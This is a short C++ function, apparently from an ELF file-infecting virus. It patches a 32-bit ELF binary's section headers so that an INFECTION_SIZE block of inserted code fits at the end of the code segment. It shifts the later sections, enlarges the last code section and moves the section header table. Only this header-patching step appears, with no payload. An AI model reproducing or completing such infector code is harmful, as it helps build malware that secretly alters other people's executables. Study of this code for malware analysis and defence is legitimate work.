bool Target::patchShdr()
{
  Elf32_Shdr* shdr = (Elf32_Shdr*)(p.b + p.ehdr->e_shoff);
  for(unsigned nr = p.ehdr->e_shnum; nr > 0; nr--, shdr++)
  {
    if (shdr->sh_offset > top)
    {
      /* move all following sections down */
      shdr->sh_offset += INFECTION_SIZE;
    }
    else if (shdr->sh_offset + shdr->sh_size == top)
    {  
      /* increase length of last section of code-segment (.rodata) */
      shdr->sh_size += INFECTION_SIZE;
    }
  }
  p.ehdr->e_shoff += INFECTION_SIZE;
  return true; /* this implementations can't fail */
}
